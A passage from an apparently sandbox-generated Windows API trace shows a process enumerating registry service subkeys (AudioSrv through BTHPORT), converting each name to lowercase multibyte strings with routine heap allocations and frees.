CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1df0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.568] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.568] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.568] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.569] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.569] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.569] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.570] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.570] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0253.570] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.571] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0253.571] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.571] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.572] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.572] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0253.572] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.573] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.573] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.573] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.573] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.573] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.574] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.574] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.574] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 